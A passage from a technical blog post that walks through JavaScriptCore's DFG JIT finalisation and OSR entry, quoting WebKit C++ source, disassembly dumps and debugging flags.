</span></span><span style="display:flex;"><span>    bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, machine code <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffeecfe917</span>, stack rules <span style="color:#f92672">=</span> [arg2:(Int32, none:StructuresAreClobbered) (maps to arg2), arg1:(Int32, none:StructuresAreClobbered) (maps to arg1), arg0:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (maps to <span style="color:#66d9ef">this</span>), loc0:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored), loc1:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored), loc2:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored), loc3:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored), loc4:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored), loc5:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored), loc6:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored), loc7:(BytecodeTop, TOP, TOP, none:StructuresAreClobbered) (ignored)], machine stack used <span style="color:#f92672">=</span> <span style="color:#f92672">---------------------------------------------------------------</span>
</span></span></code></pre></div><p>The function that dumps the various OSR entries is <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGOSREntry.cpp#L43"><code>OSREntryData::dumpInContext</code></a>. Setting a break point at this function will allow inspection of the individual fields on the OSR Entry site.</p>
<p>Lastly a <code>JITFinalizer</code> is initialised which takes four arguments: a reference to the optimised graph, a reference to the JIT memory for the CodeBlock, a reference to the LinkBuffer which contains the DFG compiled code and finally an entry pointer into the LinkBuffer (i.e. <code>withArityCheck</code>).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>m_graph.m_plan.setFinalizer(makeUnique<span style="color:#f92672">&lt;</span>JITFinalizer<span style="color:#f92672">&gt;</span>(
</span></span><span style="display:flex;"><span>        m_graph.m_plan, m_jitCode.releaseNonNull(), WTFMove(linkBuffer), withArityCheck));
</span></span></code></pre></div><p>The <code>JITFinalizer</code> sets up pointer references from the CodeBlock to the JIT code located in the <code>linkBuffer</code> and other housekeeping activities. At this point in the compilation phase one can dump all the DFG generated optimised code to <em>stdout</em> by enabling the <code>--dumpDFGDisassembly=true</code> flag. An example of what the disassembly dump would look like is listed below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Generated DFG JIT code <span style="color:#66d9ef">for</span> jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, DFGFunctionCall, <span style="color:#ae81ff">15</span>], instructions size <span style="color:#f92672">=</span> <span style="color:#ae81ff">15</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    Optimized with execution counter <span style="color:#f92672">=</span> <span style="color:#ae81ff">1005.000000</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1072.000000</span>, <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>    Code at [<span style="color:#ae81ff">0x7fffeecfe880</span>, <span style="color:#ae81ff">0x7fffeecfee00</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe880</span><span style="color:#f92672">:</span> push <span style="color:#f92672">%</span>rbp
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe881</span><span style="color:#f92672">:</span> mov <span style="color:#f92672">%</span>rsp, <span style="color:#f92672">%</span>rbp
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe884</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffae3c4260</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe8ed</span><span style="color:#f92672">:</span> cmp <span style="color:#f92672">%</span>r14, <span style="color:#ae81ff">0x38</span>(<span style="color:#f92672">%</span>rbp)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe8f1</span><span style="color:#f92672">:</span> jb <span style="color:#ae81ff">0x7fffeecfed84</span>
</span></span><span style="display:flex;"><span>    Block <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span> (bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>)<span style="color:#f92672">:</span> (OSR target)
</span></span><span style="display:flex;"><span>      Execution count: <span style="color:#ae81ff">1.000000</span>
</span></span><span style="display:flex;"><span>      Predecessors:
</span></span><span style="display:flex;"><span>      Successors:
</span></span><span style="display:flex;"><span>      Dominated by: <span style="color:#960050;background-color:#1e0010">#</span>root <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>      Dominates: <span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>      Dominance Frontier: 
</span></span><span style="display:flex;"><span>      Iterated Dominance Frontier: 
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe8f7</span><span style="color:#f92672">:</span> test <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7</span>, <span style="color:#f92672">%</span>bpl
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe8fb</span><span style="color:#f92672">:</span> jz <span style="color:#ae81ff">0x7fffeecfe908</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe901</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xa</span>, <span style="color:#f92672">%</span>r11d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe950</span><span style="color:#f92672">:</span> int3 
</span></span><span style="display:flex;"><span>       D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">1</span><span style="color:#f92672">:-&gt;</span>       SetArgumentDefinitely(IsFlushed, <span style="color:#66d9ef">this</span>(a), machine:<span style="color:#66d9ef">this</span>, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting OtherObj
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe951</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb000e4</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe95b</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x94</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>       D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">:-&gt;</span>       SetArgumentDefinitely(IsFlushed, arg1(B<span style="color:#f92672">&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedInt32), machine:arg1, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe962</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb000e4</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe96c</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x894</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>       D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span><span style="color:#f92672">:&lt;</span> <span style="color:#ae81ff">2</span><span style="color:#f92672">:-&gt;</span>       SetArgumentDefinitely(IsFlushed, arg2(C<span style="color:#f92672">&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedInt32), machine:arg2, W:SideState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe973</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb000e4</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe97d</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x1094</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>       D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">3</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">0</span><span style="color:#f92672">:-&gt;</span>       CountExecution(MustGen, <span style="color:#ae81ff">0x7fffeed96190</span>, R:InternalState, W:InternalState, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">0</span>, ExitValid)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe984</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb000e4</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe98e</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x1d1c</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe995</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffeed96190</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfe99f</span><span style="color:#f92672">:</span> inc (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>      D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span>loc5<span style="color:#f92672">&gt;</span>    GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">1</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>UseAsOther, BoolInt32, arg1(B<span style="color:#f92672">&lt;</span>BoolInt32<span style="color:#f92672">&gt;/</span>FlushedInt32), machine:arg1, R:Stack(arg1), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting BoolInt32
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeaf2</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb000e4</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeafc</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xe03c</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb03</span><span style="color:#f92672">:</span> mov <span style="color:#ae81ff">0x30</span>(<span style="color:#f92672">%</span>rbp), <span style="color:#f92672">%</span>eax
</span></span><span style="display:flex;"><span>      D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">1</span><span style="color:#f92672">:</span>loc6<span style="color:#f92672">&gt;</span>    GetLocal(Check:Untyped:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">2</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>UseAsOther, NonBoolInt32, arg2(C<span style="color:#f92672">&lt;</span>Int32<span style="color:#f92672">&gt;/</span>FlushedInt32), machine:arg2, R:Stack(arg2), bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)  predicting NonBoolInt32
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb06</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb000e4</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb10</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0xe83c</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb17</span><span style="color:#f92672">:</span> mov <span style="color:#ae81ff">0x38</span>(<span style="color:#f92672">%</span>rbp), <span style="color:#f92672">%</span>esi
</span></span><span style="display:flex;"><span>      D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">30</span><span style="color:#f92672">:&lt;!</span><span style="color:#ae81ff">2</span><span style="color:#f92672">:</span>loc6<span style="color:#f92672">&gt;</span>    ArithAdd(Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">28</span>, Int32:D<span style="color:#960050;background-color:#1e0010">@</span><span style="color:#ae81ff">29</span>, JS<span style="color:#f92672">|</span>MustGen<span style="color:#f92672">|</span>UseAsOther, Int32, CheckOverflow, Exits, bc<span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">7</span>, ExitValid)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb1a</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb0bba0</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb24</span><span style="color:#f92672">:</span> mov (<span style="color:#f92672">%</span>r11), <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb27</span><span style="color:#f92672">:</span> test <span style="color:#f92672">%</span>r11, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb2a</span><span style="color:#f92672">:</span> jz <span style="color:#ae81ff">0x7fffeecfeb37</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb30</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x113</span>, <span style="color:#f92672">%</span>r11d
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeb36</span><span style="color:#f92672">:</span> int3 
</span></span><span style="display:flex;"><span>          
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    (End Of Main Path)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfebf4</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x0</span>, <span style="color:#ae81ff">0x24</span>(<span style="color:#f92672">%</span>rbp)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfebfb</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffae3c4260</span>, <span style="color:#f92672">%</span>rdi
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfec05</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x7fffaeb09fd8</span>, <span style="color:#f92672">%</span>r11
</span></span><span style="display:flex;"><span>          
</span></span><span style="display:flex;"><span><span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfeded</span><span style="color:#f92672">:</span> mov <span style="color:#960050;background-color:#1e0010">$</span><span style="color:#ae81ff">0x3</span>, (<span style="color:#f92672">%</span>r11)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffeecfedf4</span><span style="color:#f92672">:</span> jmp <span style="color:#ae81ff">0x7fffaecffc20</span>
</span></span><span style="display:flex;"><span>    Structures:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">%</span>Bq:JSGlobalLexicalEnvironment <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7fffae3f9180</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0xf475</span>, JSGlobalLexicalEnvironment, {}, NonArray, Leaf]
</span></span></code></pre></div><p>Once compilation and linking has been completed, execution then returns back up the call stack back to <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGPlan.cpp#L172"><code>Plan::compileInThread</code></a> after <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGPlan.cpp#L188">returning from <code>Plan::compileInThreadImpl</code></a>. On successful compilation and with the <code>reportCompileTimes</code> flag enabled in <code>launch.json</code> one should see the following log statement printed to <em>stdout</em> just <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGPlan.cpp#L230">before the function <code>Plan::compileInThread</code> returns</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>Optimized jitMe<span style="color:#960050;background-color:#1e0010">#</span>Dsl1pz:[<span style="color:#ae81ff">0x7fffae3c4260</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3c4130</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffae3e5100</span>, NoneFunctionCall, <span style="color:#ae81ff">15</span>] <span style="color:#66d9ef">using</span> DFGMode with DFG into <span style="color:#ae81ff">1408</span> bytes in <span style="color:#ae81ff">64.088453</span> ms.
</span></span></code></pre></div><p>The function <code>compileInThread</code> returns to <code>DFG::compileImpl</code> which <a href="">invokes the function <code>Plan::finalizeWithoutNotifyingCallback</code> before returning to <code>DFG::compile</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>plan<span style="color:#f92672">-&gt;</span>compileInThread(<span style="color:#66d9ef">nullptr</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> plan<span style="color:#f92672">-&gt;</span>finalizeWithoutNotifyingCallback();
</span></span></code></pre></div><p>The function above does two important actions, among a number of validation checks, it first validates that the compilation has succeeded and that the CodeBlock, which was compiled, is still valid. The second most important action is that it <a href="https://github.com/WebKit/WebKit/blob/335a4d3dad1e1fc4cad74f73eb9c0d7416738a4f/Source/JavaScriptCore/dfg/DFGDriver.cpp#L105">invokes the <code>finalizer</code></a> created earlier which updates the CodeBlocks reference to the JITCode and the entry point to being execution from which is referenced by <code>withArityCheck</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> JITFinalizer<span style="color:#f92672">::</span>finalizeFunction()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    RELEASE_ASSERT(<span style="color:#f92672">!</span>m_withArityCheck.isEmptyValue());
</span></span><span style="display:flex;"><span>    m_jitCode<span style="color:#f92672">-&gt;</span>initializeCodeRefForDFG(
</span></span><span style="display:flex;"><span>        FINALIZE_DFG_CODE(<span style="color:#f92672">*</span>m_linkBuffer, JSEntryPtrTag, <span style="color:#e6db74">&#34;DFG JIT code for %s&#34;</span>, toCString(CodeBlockWithJITType(m_plan.codeBlock(), JITType<span style="color:#f92672">::</span>DFGJIT)).data()),
</span></span><span style="display:flex;"><span>        m_withArityCheck);
</span></span><span style="display:flex;"><span>    m_plan.codeBlock()<span style="color:#f92672">-&gt;</span>setJITCode(m_jitCode.copyRef());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    finalizeCommon();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Once these references have been set, the DFG can now notify the engine on where to jump to in order to being execution in the optimised code. The next section will examine how execution transfers from the BaslineJIT into the optimised code generated by the DFG.</p>
<h1 id="tracing-execution">Tracing Execution</h1>
<p>Having successfully compiled the CodeBlock with the DFG, execution control after the compilation <a href="https://github.com/WebKit/WebKit/blob/955b3bbddf7a1fdd636287dd740e5685d4068d46/Source/JavaScriptCore/jit/JITOperations.cpp#L1870">returns to <code>operationOpitmize</code> in JITOperations.cpp</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        CodeBlock<span style="color:#f92672">*</span> replacementCodeBlock <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>newReplacement();
</span></span><span style="display:flex;"><span>        CompilationResult result <span style="color:#f92672">=</span> DFG<span style="color:#f92672">::</span>compile(
</span></span><span style="display:flex;"><span>            vm, replacementCodeBlock, <span style="color:#66d9ef">nullptr</span>, DFG<span style="color:#f92672">::</span>DFGMode, bytecodeIndex,
</span></span><span style="display:flex;"><span>            mustHandleValues, JITToDFGDeferredCompilationCallback<span style="color:#f92672">::</span>create());
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (result <span style="color:#f92672">!=</span> CompilationSuccessful) {
</span></span><span style="display:flex;"><span>            CODEBLOCK_LOG_EVENT(codeBlock, <span style="color:#e6db74">&#34;delayOptimizeToDFG&#34;</span>, (<span style="color:#e6db74">&#34;compilation failed&#34;</span>));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">encodeResult</span>(<span style="color:#66d9ef">nullptr</span>, <span style="color:#66d9ef">nullptr</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span></code></pre></div><p>Execution now need to jump to the optimised code and this is done via OSR Entry which will be discussed in the next section.</p>
<h2 id="osr-entry">OSR Entry</h2>
<p>This begins with the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/dfg/DFGOSREntry.cpp#L95"><code>prepareOSREntry</code></a> <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITOperations.cpp#L1876">from <code>operationOptimize</code></a> which is shown in the snippet below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>CodeBlock<span style="color:#f92672">*</span> optimizedCodeBlock <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>replacement();
</span></span><span style="display:flex;"><span>    ASSERT(optimizedCodeBlock <span style="color:#f92672">&amp;&amp;</span> JITCode<span style="color:#f92672">::</span>isOptimizingJIT(optimizedCodeBlock<span style="color:#f92672">-&gt;</span>jitType()));
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> dataBuffer <span style="color:#f92672">=</span> DFG<span style="color:#f92672">::</span>prepareOSREntry(vm, callFrame, optimizedCodeBlock, bytecodeIndex)) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> targetPC <span style="color:#f92672">=</span> vm.getCTIStub(DFG<span style="color:#f92672">::</span>osrEntryThunkGenerator).code().executableAddress();
</span></span><span style="display:flex;"><span>        targetPC <span style="color:#f92672">=</span> retagCodePtr(targetPC, JITThunkPtrTag, bitwise_cast<span style="color:#f92672">&lt;</span>PtrTag<span style="color:#f92672">&gt;</span>(callFrame));
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">encodeResult</span>(targetPC, dataBuffer);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>The function <code>prepareOSREntry</code>, determines if it is safe to OSR entry into the optimised code by performing a number of checks. If a check fails the function returns <code>0</code> which causes the execution to continue in the Baseline JIT and the tier-up threshold counters are adjusted on account of OSR Entry failing. When all checks pass, it returns a pointer to a <code>dataBuffer</code> that the <a href="https://github.com/WebKit/WebKit/blob/716d60e7463c4379ad6547c776014ef46ce5341f/Source/JavaScriptCore/dfg/DFGThunks.cpp#L99">OSR entry thunk</a> will recognize and parse.</p>
<p>From the snippet above, <code>prepareOSREntry</code> takes four arguments: a reference to the JSC runtime, a reference to the currently executing call frame in the Baseline JIT, a reference to the CodeBlock that&rsquo;s been optimized by the DFG and the bytecode index at which to OSR Enter.</p>
<p>Stepping into the function, it first <a href="https://github.com/WebKit/WebKit/blob/b8fb43def6cd9f2984206734a4593792952d06a6/Source/JavaScriptCore/dfg/DFGOSREntry.cpp#L139">gathers information on OSR Entry</a> for the supplied bytecode index:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>JITCode<span style="color:#f92672">*</span> jitCode <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>jitCode()<span style="color:#f92672">-&gt;</span>dfg();
</span></span><span style="display:flex;"><span>OSREntryData<span style="color:#f92672">*</span> entry <span style="color:#f92672">=</span> jitCode<span style="color:#f92672">-&gt;</span>osrEntryDataForBytecodeIndex(bytecodeIndex);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>entry) {
</span></span><span style="display:flex;"><span>   dataLogLnIf(Options<span style="color:#f92672">::</span>verboseOSR(), <span style="color:#e6db74">&#34;    OSR failed because the entrypoint was optimized out.&#34;</span>);
</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nullptr</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If valid <code>OSREntryData</code> was retrieved the function performs various checks to <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/dfg/DFGOSREntry.cpp#L95">determine if it&rsquo;s safe to OSR Enter</a>. The developer comments in the source code document the various checks that are performed before OSR Entry. Once the checks pass and the DFG has committed to OSR Entry, the next step is to populate the <code>dataBuffer</code> and other data format conversions:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// 3) Set up the data in the scratch buffer and perform data format conversions.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> frameSize <span style="color:#f92672">=</span> jitCode<span style="color:#f92672">-&gt;</span>common.frameRegisterCount;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> baselineFrameSize <span style="color:#f92672">=</span> entry<span style="color:#f92672">-&gt;</span>m_expectedValues.numberOfLocals();
